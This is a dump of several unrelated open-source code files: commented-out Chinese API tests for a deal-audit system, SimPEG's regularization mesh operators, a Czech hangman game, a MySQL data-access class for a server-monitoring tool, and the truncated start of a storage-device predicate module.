newlabelName='网签')\n # self.appText.set_map('CJX', self.appText.get('labelId'))\n # self.appApi.add_deal(Status=1)\n #\n # self.webApi.auditList(phoneNum=self.appText.get('cluePhone'))\n # self.webApi.audit(auditStatue=2, auditRemark=time.strftime(\"%Y-%m-%d %H:%M:%S\") + ' 成交审核不通过')\n # self.webApi.TransactionSettlementList()\n # self.assertEqual(dome + 1, self.appText.get('web_total'))\n # A = A + 1\n #\n # def test_DealAccount_003(self):\n # \"\"\"\n # 2、审核失败后 不显示\n # 认购审核通过后,后续无论审核成功与否 都显示\n # :return:\n # \"\"\"\n # self.webApi.TransactionSettlementList()\n # dome = self.appText.get('web_total')\n # A = 0\n # while A != 4:\n # print(A)\n # if A == 0 or A == 3:\n # if A == 0:\n # self.flowPath.get_label(labelNo='CJX', labelName='成交项目',\n # newlabelName='认购')\n # else:\n # self.flowPath.get_label(labelNo='CJX', labelName='成交项目',\n # newlabelName='网签')\n # self.appText.set_map('CJX', self.appText.get('labelId'))\n #\n # if A == 0:\n # self.appApi.add_deal()\n # self.appApi.deal_List(keyWord=self.appText.get('dealPhone'))\n # self.webApi.detail()\n # else:\n # self.appApi.add_deal(Status=1)\n # self.webApi.auditList(phoneNum=self.appText.get('cluePhone'))\n # if A == 1:\n # self.webApi.audit()\n # else:\n # self.webApi.audit(auditStatue=2, auditRemark=time.strftime(\"%Y-%m-%d %H:%M:%S\") + ' 成交审核不通过')\n # self.webApi.TransactionSettlementList()\n # if A == 0:\n # self.assertEqual(dome, self.appText.get('web_total'))\n # else:\n # self.assertEqual(dome + 1, self.appText.get('web_total'))\n # A = A + 1\n\n # self.webApi.auditList(phoneNum=self.appText.get('cluePhone'))\n # if A != 1:\n # self.webApi.audit(auditStatue=2, auditRemark=dome + ' 成交审核不通过')\n # else:\n # self.webApi.audit()\n # self.appApi.add_deal(Status=1)\n # self.webApi.TransactionSettlementList()\n # self.assertEqual(dome, self.appText.get('web_total'))\n #\n # \"\"\"\n # 修改成交单---认购--- 审核失败\n # 修改成交单---网签--- 审核失败\"\"\"\n # self.appApi.deal_List(keyWord=self.appText.get('dealPhone'))\n # self.webApi.detail()\n # self.appApi.add_deal(Status=1)\n # self.webApi.auditList(phoneNum=self.appText.get('cluePhone'))\n # self.webApi.audit()\n # A = 0\n # while A != 2:\n # if A == 1:\n # self.flowPath.get_label(labelNo='CJX', labelName='成交项目',\n # newlabelName='网签')\n # self.appText.set_map('CJX', self.appText.get('labelId'))\n # self.appApi.add_deal(Status=1)\n #\n # self.webApi.auditList(phoneNum=self.appText.get('cluePhone'))\n # self.webApi.audit(auditStatue=2, auditRemark=dome + ' 成交审核不通过')\n # self.webApi.TransactionSettlementList()\n # self.assertEqual(dome + 1, self.appText.get('web_total'))\n\n\n\n\n","repo_name":"yebenxiaozhang/Projects_xfj","sub_path":"XFP/KDY_API/test_case/WEB_DealAccount_kh.py","file_name":"WEB_DealAccount_kh.py","file_ext":"py","file_size_in_byte":11387,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33212697544","text":"import numpy as np\nimport scipy.sparse as sp\nfrom SimPEG.utils.code_utils import deprecate_property, validate_active_indices\n\nfrom .. import props\nfrom .. import utils\n\n###############################################################################\n# #\n# Regularization Mesh #\n# #\n###############################################################################\n\n\nclass RegularizationMesh(props.BaseSimPEG):\n \"\"\"Regularization Mesh\n\n The ``RegularizationMesh`` class is used to construct differencing and averaging operators\n for the objective function(s) defining the regularization. In practice, these operators are\n not constructed by creating instances of ``RegularizationMesh``. The operators are instead\n constructed (and sometimes stored) when called as a property of the mesh.\n The ``RegularizationMesh`` class is built using much of the functionality from the\n :py:class:`discretize.operators.differential_operators.DiffOperators` class.\n However, operators constructed using the ``RegularizationMesh`` class have been modified to\n act only on interior faces and active cells in the inversion, thus reducing computational cost.\n\n Parameters\n ----------\n mesh : discretize.base.BaseMesh\n Mesh on which the discrete set of model parameters are defined.\n active_cells : None, (n_cells, ) numpy.ndarray of bool\n Boolean array defining the set of mesh cells that are active in the inversion.\n If ``None``, all cells are active.\n \"\"\"\n\n regularization_type = None # or 'Base'\n _active_cells = None\n\n def __init__(self, mesh, active_cells=None, **kwargs):\n self.mesh = mesh\n self.active_cells = active_cells\n utils.set_kwargs(self, **kwargs)\n\n @property\n def active_cells(self) -> np.ndarray:\n \"\"\"Active cells on the regularization mesh.\n\n A boolean array defining the cells in the regularization mesh that are active\n (i.e. updated) throughout the inversion. The values of inactive cells\n remain equal to their starting model values.\n\n Returns\n -------\n (n_cells, ) array of bool\n\n Notes\n -----\n If the property is set using a ``numpy.ndarray`` of ``int``, the setter interprets the\n array as representing the indices of the active cells. When called however, the quantity\n will have been internally converted to a boolean array.\n \"\"\"\n return self._active_cells\n\n @active_cells.setter\n def active_cells(self, values: np.ndarray):\n if getattr(self, \"_active_cells\", None) is not None and not all(\n self._active_cells == values\n ):\n raise AttributeError(\n \"The RegulatizationMesh already has an 'active_cells' property set.\"\n )\n if values is not None:\n values = validate_active_indices(\"values\", values, self.mesh.nC)\n # Ensure any cached operators created when\n # active_cells was None are deleted\n self._vol = None\n self._Pac = None\n self._Pafx = None\n self._Pafy = None\n self._Pafz = None\n self._aveFx2CC = None\n self._aveFy2CC = None\n self._aveFz2CC = None\n self._aveCC2Fx = None\n self._aveCC2Fy = None\n self._aveCC2Fz = None\n self._cell_gradient_x = None\n self._cell_gradient_y = None\n self._cell_gradient_z = None\n self._faceDiffx = None\n self._faceDiffy = None\n self._faceDiffz = None\n self._cell_distances_x = None\n self._cell_distances_y = None\n self._cell_distances_z = None\n self._active_cells = values\n\n @property\n def vol(self) -> np.ndarray:\n \"\"\"Volumes of active mesh cells.\n\n Returns\n -------\n (n_active, ) numpy.ndarray of float\n Volumes of active mesh cells.\n \"\"\"\n if self.active_cells is None:\n return self.mesh.cell_volumes\n if getattr(self, \"_vol\", None) is None:\n self._vol = self.mesh.cell_volumes[self.active_cells]\n return self._vol\n\n @property\n def nC(self) -> int:\n \"\"\"Number of active cells.\n\n Returns\n -------\n int\n Number of active cells.\n \"\"\"\n if self.active_cells is not None:\n return int(self.active_cells.sum())\n return self.mesh.nC\n\n @property\n def dim(self) -> int:\n \"\"\"Dimension of regularization mesh.\n\n Returns\n -------\n {1, 2, 3}\n Dimension of the regularization mesh.\n \"\"\"\n return self.mesh.dim\n\n @property\n def Pac(self) -> sp.csr_matrix:\n \"\"\"Projection matrix from active cells to all mesh cells.\n\n Returns\n -------\n (n_cells, n_active) scipy.sparse.csr_matrix\n Projection matrix from active cells to all mesh cells.\n \"\"\"\n if getattr(self, \"_Pac\", None) is None:\n if self.active_cells is None:\n self._Pac = utils.speye(self.mesh.nC)\n else:\n self._Pac = utils.speye(self.mesh.nC)[:, self.active_cells]\n return self._Pac\n\n @property\n def Pafx(self) -> sp.csr_matrix:\n \"\"\"Projection matrix from active x-faces to all x-faces in the mesh.\n\n Returns\n -------\n (n_faces_x, n_active_faces_x) scipy.sparse.csr_matrix\n Projection matrix from active x-faces to all x-faces in the mesh.\n \"\"\"\n if getattr(self, \"_Pafx\", None) is None:\n if self.mesh._meshType == \"TREE\":\n ind_active = self.active_cells\n if ind_active is None:\n ind_active = np.ones(self.mesh.nC, dtype=\"bool\")\n active_cells_Fx = (\n self.mesh.average_cell_to_total_face_x() * ind_active\n ) >= 1\n self._Pafx = utils.speye(self.mesh.ntFx)[:, active_cells_Fx]\n else:\n if self.active_cells is None:\n self._Pafx = utils.speye(self.mesh.nFx)\n else:\n active_cells_Fx = self.mesh.aveFx2CC.T * self.active_cells >= 1\n self._Pafx = utils.speye(self.mesh.nFx)[:, active_cells_Fx]\n return self._Pafx\n\n @property\n def Pafy(self) -> sp.csr_matrix:\n \"\"\"Projection matrix from active y-faces to all y-faces in the mesh.\n\n Returns\n -------\n (n_faces_y, n_active_faces_y) scipy.sparse.csr_matrix\n Projection matrix from active y-faces to all y-faces in the mesh.\n \"\"\"\n if getattr(self, \"_Pafy\", None) is None:\n if self.mesh._meshType == \"TREE\":\n ind_active = self.active_cells\n if ind_active is None:\n ind_active = np.ones(self.mesh.nC, dtype=\"bool\")\n active_cells_Fy = (\n self.mesh.average_cell_to_total_face_y() * ind_active\n ) >= 1\n self._Pafy = utils.speye(self.mesh.ntFy)[:, active_cells_Fy]\n elif self.mesh._meshType == \"CYL\" and self.mesh.is_symmetric:\n return sp.csr_matrix((0, 0))\n else:\n if self.active_cells is None:\n self._Pafy = utils.speye(self.mesh.nFy)\n else:\n active_cells_Fy = (self.mesh.aveFy2CC.T * self.active_cells) >= 1\n self._Pafy = utils.speye(self.mesh.nFy)[:, active_cells_Fy]\n return self._Pafy\n\n @property\n def Pafz(self) -> sp.csr_matrix:\n \"\"\"Projection matrix from active z-faces to all z-faces in the mesh.\n\n Returns\n -------\n (n_faces_z, n_active_faces_z) scipy.sparse.csr_matrix\n Projection matrix from active z-faces to all z-faces in the mesh.\n \"\"\"\n if getattr(self, \"_Pafz\", None) is None:\n if self.mesh._meshType == \"TREE\":\n ind_active = self.active_cells\n if ind_active is None:\n ind_active = np.ones(self.mesh.nC, dtype=\"bool\")\n active_cells_Fz = (\n self.mesh.average_cell_to_total_face_z() * ind_active\n ) >= 1\n self._Pafz = utils.speye(self.mesh.ntFz)[:, active_cells_Fz]\n else:\n if self.active_cells is None:\n self._Pafz = utils.speye(self.mesh.nFz)\n else:\n active_cells_Fz = (self.mesh.aveFz2CC.T * self.active_cells) >= 1\n self._Pafz = utils.speye(self.mesh.nFz)[:, active_cells_Fz]\n return self._Pafz\n\n @property\n def average_face_to_cell(self) -> sp.csr_matrix:\n \"\"\"Averaging operator from faces to cell centers.\n\n Built from :py:property:`~discretize.operators.differential_operators.DiffOperators.average_face_to_cell`.\n\n Returns\n -------\n (n_cells, n_faces) scipy.sparse.csr_matrix\n Averaging operator from faces to cell centers.\n \"\"\"\n if self.dim == 1:\n return self.aveFx2CC\n elif self.dim == 2:\n return sp.hstack([self.aveFx2CC, self.aveFy2CC])\n else:\n return sp.hstack([self.aveFx2CC, self.aveFy2CC, self.aveFz2CC])\n\n @property\n def aveFx2CC(self) -> sp.csr_matrix:\n \"\"\"Averaging operator from active cell centers to active x-faces.\n\n Modified from the transpose of\n :py:property:`~discretize.operators.differential_operators.DiffOperators.aveFx2CC`;\n an operator that projects from all x-faces to all cell centers.\n\n Returns\n -------\n (n_active_cells, n_active_faces_x) scipy.sparse.csr_matrix\n Averaging operator from active cell centers to active x-faces.\n \"\"\"\n if getattr(self, \"_aveFx2CC\", None) is None:\n if self.mesh._meshType == \"TREE\":\n nCinRow = utils.mkvc((self.aveCC2Fx.T).sum(1))\n nCinRow[nCinRow > 0] = 1.0 / nCinRow[nCinRow > 0]\n self._aveFx2CC = utils.sdiag(nCinRow) * self.aveCC2Fx.T\n else:\n self._aveFx2CC = self.Pac.T * self.mesh.aveFx2CC * self.Pafx\n\n return self._aveFx2CC\n\n @property\n def aveCC2Fx(self) -> sp.csr_matrix:\n \"\"\"Averaging operator from active x-faces to active cell centers.\n\n Modified from\n :py:property:`~discretize.operators.differential_operators.DiffOperators.aveCC2Fx`;\n an operator that projects from all x-faces to all cell centers.\n\n Returns\n -------\n (n_active_faces_x, n_active_cells) scipy.sparse.csr_matrix\n Averaging operator from active x-faces to active cell centers.\n \"\"\"\n if getattr(self, \"_aveCC2Fx\", None) is None:\n if self.mesh._meshType == \"TREE\":\n self._aveCC2Fx = (\n self.Pafx.T * self.mesh.average_cell_to_total_face_x() * self.Pac\n )\n else:\n self._aveCC2Fx = (\n utils.sdiag(1.0 / (self.aveFx2CC.T).sum(1)) * self.aveFx2CC.T\n )\n return self._aveCC2Fx\n\n @property\n def aveFy2CC(self) -> sp.csr_matrix:\n \"\"\"Averaging operator from active cell centers to active y-faces.\n\n Modified from the transpose of\n :py:property:`~discretize.operators.differential_operators.DiffOperators.aveFy2CC`;\n an operator that projects from y-faces to cell centers.\n\n Returns\n -------\n (n_active_cells, n_active_faces_y) scipy.sparse.csr_matrix\n Averaging operator from active cell centers to active y-faces.\n \"\"\"\n if getattr(self, \"_aveFy2CC\", None) is None:\n if self.mesh._meshType == \"TREE\":\n nCinRow = utils.mkvc((self.aveCC2Fy.T).sum(1))\n nCinRow[nCinRow > 0] = 1.0 / nCinRow[nCinRow > 0]\n self._aveFy2CC = utils.sdiag(nCinRow) * self.aveCC2Fy.T\n elif self.mesh._meshType == \"CYL\" and self.mesh.is_symmetric:\n return sp.csr_matrix((self.nC, 0))\n else:\n self._aveFy2CC = self.Pac.T * self.mesh.aveFy2CC * self.Pafy\n\n return self._aveFy2CC\n\n @property\n def aveCC2Fy(self) -> sp.csr_matrix:\n \"\"\"Averaging operator from active y-faces to active cell centers.\n\n Modified from\n :py:property:`~discretize.operators.differential_operators.DiffOperators.aveCC2Fy`;\n an operator that projects from all y-faces to all cell centers.\n\n Returns\n -------\n (n_active_faces_y, n_active_cells) scipy.sparse.csr_matrix\n Averaging operator from active y-faces to active cell centers.\n \"\"\"\n if getattr(self, \"_aveCC2Fy\", None) is None:\n if self.mesh._meshType == \"TREE\":\n self._aveCC2Fy = (\n self.Pafy.T * self.mesh.average_cell_to_total_face_y() * self.Pac\n )\n elif self.mesh._meshType == \"CYL\" and self.mesh.is_symmetric:\n return sp.csr_matrix((0, self.nC))\n else:\n self._aveCC2Fy = (\n utils.sdiag(1.0 / (self.aveFy2CC.T).sum(1)) * self.aveFy2CC.T\n )\n return self._aveCC2Fy\n\n @property\n def aveFz2CC(self) -> sp.csr_matrix:\n \"\"\"Averaging operator from active cell centers to active z-faces.\n\n Modified from the transpose of\n :py:property:`~discretize.operators.differential_operators.DiffOperators.aveFz2CC`;\n an operator that projects from z-faces to cell centers.\n\n Returns\n -------\n (n_active_cells, n_active_faces_z) scipy.sparse.csr_matrix\n Averaging operator from active cell centers to active z-faces.\n \"\"\"\n if getattr(self, \"_aveFz2CC\", None) is None:\n if self.mesh._meshType == \"TREE\":\n nCinRow = utils.mkvc((self.aveCC2Fz.T).sum(1))\n nCinRow[nCinRow > 0] = 1.0 / nCinRow[nCinRow > 0]\n self._aveFz2CC = utils.sdiag(nCinRow) * self.aveCC2Fz.T\n else:\n self._aveFz2CC = self.Pac.T * self.mesh.aveFz2CC * self.Pafz\n\n return self._aveFz2CC\n\n @property\n def aveCC2Fz(self) -> sp.csr_matrix:\n \"\"\"Averaging operator from active z-faces to active cell centers.\n\n Modified from\n :py:property:`~discretize.operators.differential_operators.DiffOperators.aveCC2Fz`;\n an operator that projects from all z-faces to all cell centers.\n\n Returns\n -------\n (n_active_faces_z, n_active_cells) scipy.sparse.csr_matrix\n Averaging operator from active z-faces to active cell centers.\n \"\"\"\n if getattr(self, \"_aveCC2Fz\", None) is None:\n if self.mesh._meshType == \"TREE\":\n self._aveCC2Fz = (\n self.Pafz.T * self.mesh.average_cell_to_total_face_z() * self.Pac\n )\n else:\n self._aveCC2Fz = (\n utils.sdiag(1.0 / (self.aveFz2CC.T).sum(1)) * self.aveFz2CC.T\n )\n return self._aveCC2Fz\n\n @property\n def base_length(self) -> float:\n \"\"\"Smallest dimension (i.e. edge length) for smallest cell in the mesh.\n\n Returns\n -------\n float\n Smallest dimension (i.e. edge length) for smallest cell in the mesh.\n \"\"\"\n if getattr(self, \"_base_length\", None) is None:\n self._base_length = self.mesh.edge_lengths.min()\n return self._base_length\n\n @property\n def cell_gradient(self) -> sp.csr_matrix:\n \"\"\"Cell gradient operator (cell centers to faces).\n\n Built from :py:property:`~discretize.operators.differential_operators.DiffOperators.cell_gradient`.\n\n Returns\n -------\n (n_faces, n_cells) scipy.sparse.csr_matrix\n Cell gradient operator (cell centers to faces).\n \"\"\"\n if self.dim == 1:\n return self.cell_gradient_x\n elif self.dim == 2:\n return sp.vstack([self.cell_gradient_x, self.cell_gradient_y])\n else:\n return sp.vstack(\n [self.cell_gradient_x, self.cell_gradient_y, self.cell_gradient_z]\n )\n\n @property\n def cell_gradient_x(self) -> sp.csr_matrix:\n \"\"\"Cell-centered x-derivative operator on active cells.\n\n Cell centered x-derivative operator that maps from active cells\n to active x-faces. Modified from\n :py:property:`~discretize.operators.differential_operators.DiffOperators.cell_gradient_x`.\n\n Returns\n -------\n (n_active_faces_x, n_active_cells) scipy.sparse.csr_matrix\n Cell-centered x-derivative operator on active cells.\n \"\"\"\n if getattr(self, \"_cell_gradient_x\", None) is None:\n if self.mesh._meshType == \"TREE\":\n self._cell_gradient_x = (\n self.Pafx.T\n * utils.sdiag(\n self.mesh.average_cell_to_total_face_x()\n * (self.mesh.h_gridded[:, 0] ** -1)\n )\n * self.mesh.stencil_cell_gradient_x\n * self.Pac\n )\n else:\n self._cell_gradient_x = (\n self.Pafx.T * self.mesh.cell_gradient_x * self.Pac\n )\n return self._cell_gradient_x\n\n @property\n def cell_gradient_y(self) -> sp.csr_matrix:\n \"\"\"Cell-centered y-derivative operator on active cells.\n\n Cell centered y-derivative operator that maps from active cells\n to active y-faces. Modified from\n :py:property:`~discretize.operators.differential_operators.DiffOperators.cell_gradient_y`.\n\n Returns\n -------\n (n_active_faces_y, n_active_cells) scipy.sparse.csr_matrix\n Cell-centered y-derivative operator on active cells.\n \"\"\"\n if getattr(self, \"_cell_gradient_y\", None) is None:\n if self.mesh._meshType == \"TREE\":\n self._cell_gradient_y = (\n self.Pafy.T\n * utils.sdiag(\n self.mesh.average_cell_to_total_face_y()\n * (self.mesh.h_gridded[:, 1] ** -1)\n )\n * self.mesh.stencil_cell_gradient_y\n * self.Pac\n )\n else:\n self._cell_gradient_y = (\n self.Pafy.T * self.mesh.cell_gradient_y * self.Pac\n )\n return self._cell_gradient_y\n\n @property\n def cell_gradient_z(self) -> sp.csr_matrix:\n \"\"\"Cell-centered z-derivative operator on active cells.\n\n Cell centered z-derivative operator that maps from active cells\n to active z-faces. Modified from\n :py:property:`~discretize.operators.differential_operators.DiffOperators.cell_gradient_z`.\n\n Returns\n -------\n (n_active_faces_z, n_active_cells) scipy.sparse.csr_matrix\n Cell-centered z-derivative operator on active cells.\n \"\"\"\n if getattr(self, \"_cell_gradient_z\", None) is None:\n if self.mesh._meshType == \"TREE\":\n self._cell_gradient_z = (\n self.Pafz.T\n * utils.sdiag(\n self.mesh.average_cell_to_total_face_z()\n * (self.mesh.h_gridded[:, 2] ** -1)\n )\n * self.mesh.stencil_cell_gradient_z\n * self.Pac\n )\n else:\n self._cell_gradient_z = (\n self.Pafz.T * self.mesh.cell_gradient_z * self.Pac\n )\n return self._cell_gradient_z\n\n cellDiffx = deprecate_property(\n cell_gradient_x,\n \"cellDiffx\",\n \"cell_gradient_x\",\n \"0.19.0\",\n error=False,\n future_warn=True,\n )\n cellDiffy = deprecate_property(\n cell_gradient_y,\n \"cellDiffy\",\n \"cell_gradient_y\",\n \"0.19.0\",\n error=False,\n future_warn=True,\n )\n cellDiffz = deprecate_property(\n cell_gradient_z,\n \"cellDiffz\",\n \"cell_gradient_z\",\n \"0.19.0\",\n error=False,\n future_warn=True,\n )\n\n @property\n def cell_distances_x(self) -> np.ndarray:\n \"\"\"Cell center distance array along the x-direction.\n\n Returns\n -------\n (n_active_faces_x, ) numpy.ndarray\n Cell center distance array along the x-direction.\n \"\"\"\n if getattr(self, \"_cell_distances_x\", None) is None:\n Ave = self.aveCC2Fx\n self._cell_distances_x = Ave * (self.Pac.T * self.mesh.h_gridded[:, 0])\n return self._cell_distances_x\n\n @property\n def cell_distances_y(self) -> np.ndarray:\n \"\"\"Cell center distance array along the y-direction.\n\n Returns\n -------\n (n_active_faces_y, ) numpy.ndarray\n Cell center distance array along the y-direction.\n \"\"\"\n if getattr(self, \"_cell_distances_y\", None) is None:\n Ave = self.aveCC2Fy\n self._cell_distances_y = Ave * (self.Pac.T * self.mesh.h_gridded[:, 1])\n return self._cell_distances_y\n\n @property\n def cell_distances_z(self) -> np.ndarray:\n \"\"\"Cell center distance array along the z-direction.\n\n Returns\n -------\n (n_active_faces_z, ) numpy.ndarray\n Cell center distance array along the z-direction.\n \"\"\"\n if getattr(self, \"_cell_distances_z\", None) is None:\n Ave = self.aveCC2Fz\n self._cell_distances_z = Ave * (self.Pac.T * self.mesh.h_gridded[:, 2])\n return self._cell_distances_z\n\n\n# Make it look like it's in the regularization module\nRegularizationMesh.__module__ = \"SimPEG.regularization\"\n","repo_name":"simpeg/simpeg","sub_path":"SimPEG/regularization/regularization_mesh.py","file_name":"regularization_mesh.py","file_ext":"py","file_size_in_byte":22129,"program_lang":"python","lang":"en","doc_type":"code","stars":438,"dataset":"github-code","pt":"7"} +{"seq_id":"33973284137","text":"import os\nfrom random import choice\nimport figurka\n#Pro ukazku\n#from figurka import jmeno\n\n\nslovo = choice([\"obesenec\", \"autobus\", \"klavesnice\", \"nedele\"])\ntajenka = len(slovo) * [\"_\"]\nzivoty = 7\nhra_probiha = True\n\nwhile hra_probiha and zivoty > 0:\n os.system(\"cls\")\n print(figurka.hangman[7 - zivoty])\n print(f\"Tajenka: {' '.join(tajenka)}\", f\"ZIVOTY: {zivoty}\")\n hadani = input(\"HADEJ PISMENO NEBO CELE SLOVO: \").lower()\n\n\n if slovo == hadani:\n hra_probiha = False\n\n elif len(hadani) == 1 and hadani in slovo:\n for index, pismeno in enumerate(slovo):\n if pismeno == hadani:\n tajenka[index] = hadani\n\n hra_probiha = False if \"_\" not in tajenka else True\n\n else:\n zivoty -= 1\n\n\nif not hra_probiha:\n print(\"SUPER, UHODL JSI TAJNE SLOVO!\")\n\nelse:\n os.system(\"cls\")\n print(figurka.hangman[7 - zivoty])\n print(f\"PROHRAL JSI, TAJNE SLOVO BYLO *{slovo}*\")","repo_name":"silverprint/Engeto_2021_2","sub_path":"obesenec/obesenec.py","file_name":"obesenec.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72231831903","text":"import mysql.connector\nfrom enum import IntEnum\n\n\nclass DatabaseContext:\n _instance = None\n\n class DataType(IntEnum):\n BOOL = 1\n INT = 2\n FLOAT = 3\n STRING = 4\n\n class ActionType(IntEnum):\n START = 1\n REBOOT = 2\n\n def __new__(cls):\n if cls._instance is None:\n cls._instance = super().__new__(cls)\n cls._instance.cnx = mysql.connector.connect(user=\"monitor\", password=\"bJ3@RnXi*m\",\n host=\"localhost\", database=\"server_snitch\")\n return cls._instance\n\n def __del__(self):\n self.cnx.close()\n\n def get_cursor(self):\n return self.cnx.cursor(buffered=True)\n\n # API methods\n\n def store_value(self, name, value, type, device_id):\n cursor = self.get_cursor()\n cursor.execute(\"INSERT INTO DataValue (Id, Name, Value, Type, DeviceId) \"\n \"VALUES (NULL, %s, %s, %s, %s)\", (name, value, int(type), device_id))\n self.cnx.commit()\n cursor.close()\n\n def is_device_registered(self, device_id):\n cursor = self.get_cursor()\n cursor.execute(\"SELECT EUI FROM Device WHERE EUI = %s\", (device_id,))\n result = cursor.fetchone()\n cursor.close()\n return result is not None\n\n # Web methods\n\n def get_user(self, username, password_hash):\n # get the user if the hash matches and the user too\n cursor = self.get_cursor()\n cursor.execute(\"SELECT Id FROM User WHERE User = %s AND PwdHash = %s\", (username, password_hash))\n result = cursor.fetchone()\n cursor.close()\n\n if result is None:\n return None\n else:\n return result[0]\n\n def check_user(self, username):\n # return true if the user exists\n cursor = self.get_cursor()\n cursor.execute(\"SELECT Id FROM User WHERE User = %s\", (username,))\n result = cursor.fetchone()\n cursor.close()\n\n if result is None:\n return False\n else:\n return True\n\n def create_user(self, name, username, password_hash):\n try:\n cursor = self.get_cursor()\n cursor.execute(\"INSERT INTO User (Id, Name, User, PwdHash) VALUES (NULL, %s, %s, %s)\", (name, username, password_hash))\n self.cnx.commit()\n cursor.close()\n\n cursor = self.get_cursor()\n cursor.execute(\"SELECT Id FROM User WHERE User = %s AND PwdHash = %s\", (username, password_hash))\n result = cursor.fetchone()\n cursor.close()\n except:\n return False\n\n if result is None:\n return False\n else:\n return True\n\n def create_group(self, name, description, user_id):\n try:\n cursor = self.get_cursor()\n cursor.execute(\"INSERT INTO DeviceGroup (Id, Alias, Description) VALUES (NULL, %s, %s)\", (name, description))\n group_id = cursor.lastrowid\n cursor.execute(\"INSERT INTO UserDeviceGroup (UserId, DeviceGropuId) VALUES (%s, %s)\", (user_id, group_id))\n self.cnx.commit()\n cursor.close()\n\n cursor = self.get_cursor()\n cursor.execute(\"SELECT Id FROM DeviceGroup WHERE Id = %s\", (group_id,))\n result = cursor.fetchone()\n cursor.close()\n except:\n return False\n\n if result is None:\n return False\n else:\n return True\n\n def get_groups(self, user_id):\n cursor = self.get_cursor()\n cursor.execute(\"SELECT Id, Alias, Description FROM UserDeviceGroup udg INNER JOIN DeviceGroup dg ON \"\n \"udg.DeviceGropuId = dg.Id WHERE udg.UserId = %s\", (user_id,))\n\n result = cursor.fetchall()\n cursor.close()\n\n if result is None:\n return None\n else:\n return result\n\n def get_devices(self, group_id):\n cursor = self.get_cursor()\n cursor.execute(\"SELECT EUI, Alias, Description FROM Device WHERE GroupId = %s\", (group_id,))\n\n result = cursor.fetchall()\n cursor.close()\n\n if result is None:\n return None\n else:\n return result\n\n def create_device(self, eui, mac, name, description, group_id, user_id):\n try:\n cursor = self.get_cursor()\n cursor.execute(\"INSERT INTO Device (EUI, MAC, Alias, Description, GroupId, UserId) VALUES (%s, %s, %s, %s, %s, %s)\", (eui, mac, name, description, group_id, user_id))\n self.cnx.commit()\n cursor.close()\n\n cursor = self.get_cursor()\n cursor.execute(\"SELECT EUI FROM Device WHERE EUI = %s\", (eui,))\n result = cursor.fetchone()\n cursor.close()\n except:\n return False\n\n if result is None:\n return False\n else:\n return True\n\n def get_device_status(self, device_id):\n cursor = self.get_cursor()\n cursor.execute(\"SELECT DISTINCT(Name), `TimeStamp`, `Value` FROM DataValue WHERE DeviceId = %s \"\n \"AND Name = 'system.status' ORDER BY `TimeStamp` DESC\", (device_id,))\n\n result = cursor.fetchone()\n cursor.close()\n\n if result is None:\n return None\n else:\n return result\n\n def get_services(self, device_id):\n cursor = self.get_cursor()\n cursor.execute(\"SELECT DISTINCT(Name) FROM DataValue WHERE DeviceId = %s \"\n \"AND NOT(Name = 'system.wan' or Name = 'system.lan' or Name like '%.status')\", (device_id,))\n\n result = cursor.fetchall()\n cursor.close()\n\n if result is None:\n return None\n else:\n return result\n\n def get_statuses(self, device_id):\n cursor = self.get_cursor()\n cursor.execute(\"SELECT Name, `TimeStamp`, `Value` FROM DataValue WHERE (Name, TimeStamp) IN (\"\n \"SELECT Name, MAX(`TimeStamp`) FROM DataValue WHERE DeviceId = %s \"\n \"AND (Name = 'system.wan' or Name = 'system.lan' or Name like '%.status')\"\n \"GROUP BY `Name`)\", (device_id,))\n\n result = cursor.fetchall()\n cursor.close()\n\n if result is None:\n return None\n else:\n return result\n\n def get_data(self, service_name, device_id):\n cursor = self.get_cursor()\n cursor.execute(\"SELECT Name, Value, Timestamp, Type FROM DataValue WHERE Name = %s AND DeviceId = %s\", (service_name, device_id))\n\n result = cursor.fetchall()\n cursor.close()\n\n if result is None:\n return None\n else:\n return result\n\n def get_device(self, device_id):\n cursor = self.get_cursor()\n cursor.execute(\"SELECT EUI FROM Device WHERE EUI = %s\", (device_id,))\n\n result = cursor.fetchone()\n cursor.close()\n\n if result is None:\n return None\n else:\n return result[0]\n\n def log_action(self, device_id, action):\n # Get user id from device\n cursor = self.get_cursor()\n cursor.execute(\"SELECT UserId FROM Device WHERE EUI = %s\", (device_id,))\n result = cursor.fetchone()\n cursor.close()\n\n if result is None:\n return False\n else:\n user_id = result[0]\n cursor = self.get_cursor()\n cursor.execute(\"INSERT INTO ActionLog (UserId, DeviceId, Action) VALUES (%s, %s, %s)\", (user_id, device_id, action))\n self.cnx.commit()\n cursor.close()\n return True\n","repo_name":"kolibriconk/ServerSnitch-api","sub_path":"Database/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":7617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"30674849178","text":"\nfrom logging import getLogger\nfrom itertools import product\n\nlogger = getLogger(__name__)\n\n__all__ = [\n 'PredicateList',\n 'DiskExists',\n 'DiskNotExists',\n 'MultipleFiberChannelMappingExist',\n 'FiberChannelMappingExists',\n 'MultipleFiberChannelMappingNotExist',\n 'FiberChannelMappingNotExists',\n 'WaitForNothing',\n 'ScsiDevicesAreReady',\n 'MultipathDevicesAreReady'\n]\n\nclass PredicateList(object):\n \"\"\"Returns True if all predicates in a given list return True\"\"\"\n def __init__(self, list_of_predicates):\n super(PredicateList, self).__init__()\n self._list_of_predicates = list_of_predicates\n\n def __call__(self):\n for predicate in self._list_of_predicates:\n result = predicate()\n logger.debug(\"Predicate {!r} returned {}\".format(predicate, result))\n if not result:\n logger.debug(\"Returning False\")\n return False\n logger.debug(\"Returning True\")\n return True\n\n def __repr__(self):\n return \"\".format(self._list_of_predicates)\n\n\nclass DiskExists(object):\n \"\"\"Returns True if a disk was discovered with the given scsi_serial_number\"\"\"\n\n def __init__(self, scsi_serial_number):\n super(DiskExists, self).__init__()\n self.scsi_serial_number = scsi_serial_number\n\n def __call__(self):\n from .. import get_storage_model\n model = get_storage_model()\n block_devices = model.get_scsi().get_all_scsi_block_devices()\n mp_devices = model.get_native_multipath().get_all_multipath_block_devices()\n non_mp_devices = list(model.get_native_multipath().filter_non_multipath_scsi_block_devices(block_devices))\n devices = mp_devices + non_mp_devices\n for device in devices:\n device.get_scsi_test_unit_ready()\n return any(device.get_scsi_serial_number() == self.scsi_serial_number\n for device in devices)\n\n def __repr__(self):\n return \"<{}: {}>\".format(self.__class__.__name__, self.scsi_serial_number)\n\n\nclass 